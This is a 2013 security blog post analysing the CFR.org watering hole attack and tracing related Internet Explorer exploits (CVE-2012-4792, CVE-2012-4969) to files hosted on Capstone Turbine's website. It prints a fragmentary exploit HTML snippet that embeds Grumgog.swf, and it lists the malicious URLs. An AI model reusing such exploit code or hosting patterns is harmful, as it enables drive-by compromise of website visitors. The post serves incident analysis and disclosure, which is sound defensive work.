Capstone Turbine Corporation Also Targeted in the CFR Watering Hole Attack And More

eromang.zataz.com/2013/01/02/capstone-turbine-corporation-also-targeted-in-the-cfr-watering-hole-attack-and-more/

wow 02/01/2013

Since the release of **MSA-2794220** by Microsoft, regarding the **CVE-2012-4792** vulnerability, a Fix-it solution has been provided **KB2794220**. I urgently advise you to apply this Fix-it solution, or to use another browser, until the release of the final patch surely planned for the 8 January Microsoft Patch Tuesday.

I have some interesting and funny additional information's regarding the **CFR watering hole attack**, and I would like to share them with you. But previously I recommend you to read the following analysis done by security companies or independent security researchers:

Let's start with the analysis of only two samples, "*news_14242aa.html*" and "*Helps.html*". These two samples are quiet interesting, and a complete blog post is enough for them. I will analyze the other samples in dedicated further blog posts.

news_14242aa.html (545cb268267609910e1312399406cdbc)

This sample was extracted from Google cache with a cache date of 7 Dec 2012 14:12:28 GMT. This sample clearly demonstrate that the compromise of CFR.org wasn't the 20, or 21 December as mentioned by security companies or medias, but really sooner. The proof is still indexed and in cache of Google.

Helps.html (a25c13d4edb207e6ce153469c1104223)

I received this sample, around the 29 December. This file is the equivalent of the first sample but with some modifications, you can see the differences in the following online diff. Additional languages have been added (jp – ru – ko), all the stuffs regarding Microsoft Office documents have been removed (boy or girl), some additional "blank" locations have been added and the body text has been hide.

Now, if you do research on VirusTotal with this MD5, you can find a relate sample, but with another filename "*config.html*" who was submitted the 2012-12-31 18:29:47 UTC. Looks like interesting, but has to be confirmed.

If you execute a request on urlQuery in order to search all "*config.html*" file for the last past month, you will discover a submission, dating from 2012-12-29 22:58:29, for URL "*http://www.capstoneturbine.com/_include/config.html*" on server *74.62.198.72*. If you take a look at the urlQuery report you can see some "*deployJavaPlugin*" strings.

The Capstone Turbine Corporation company description, make me believe that this company profile could be a choice of quality for targeted attack:

> Capstone Turbine Corporation ® is the world's leading producer of low-emission microturbine systems, and was first to market with commercially viable microturbine energy products. Capstone Turbine has shipped thousands of Capstone MicroTurbine systems to customers worldwide.

By doing a Google dork research "*site:capstoneturbine.com "_include"*" you can see something strangely similar to CFR.org "*news_14242aa.html*" file.

This page is also cached in google cache, and guess what ? Ho, Ho Ho, CVE-2012-4792 is in the house since the 18 December 16:10:40 GMT. So CFR.org was and is not the only target of this attack !

Now we will try to define the date of compromise of Capstone Turbine Corporation through research on Google by another google dork "*"capstoneturbine.com" "_include"*". And we can find some interesting informations 😉

On support.clean-mx.de we can discover that the same "*/_include/config.html*" URL was indexed since 2012-09-19 04:31:01. But what is awesome is the evidence attached to this submission hoho it is CVE-2012-4969 I discovered in September 🙂 "*Grumgog.swf*" is in the house.

```
<html> <body> <SCRIPT>
var times =  ; var jifud =
new Array(); while(times <
1  ) { jifud[times] = windo
w.document.createElement("img");
jifud[times]["src"] = "b";
times++; } </SCRIPT
> x<embed src=Grumgog.swf wid
th=1  height=1 ></embed>x </bo
dy> </html>
```

My conclusions are:

- CFR.org was comprised since minimum beginning December.
- CVE-2012-4792 was present on CFR.org since minimum beginning December.
- CVE-2012-4792 was also used to target visitors of another company named Capstone Turbine Corporation.
- CVE-2012-4792 was present on Capstone Turbine Corporation since minimum 18 December.
- Capstone Turbine Corporation was also used to spread CVE-2012-4969 and this since mid-September.
- Potentially Capstone Turbine Corporation is compromised since minimum beginning September
- Potentially the guys behind CVE-2012-4969 and CVE-2012-4792 are the same.

But, there is always a but in a story, take a look at the first submission for Capstone Turbine Corporation in August, "*http://www.capstoneturbine.com/_flash/videos_native/exploit.html* ". Imagine 🙂

Update 1 – 2013-01-02 1:30 am:

Jindrich Kubec director of Threat Intelligence at avast! confirm presence of CVE-2012-4969 in September on Capstone Turbine Corporation.

> @eromang I wrote to Capstone Turbine on 19th Sep about the Flash exploit stuff they were hosting. They never replied. And also not fixed 😉
>
> — Jindrich Kubec (@Jindroush) January 2, 2013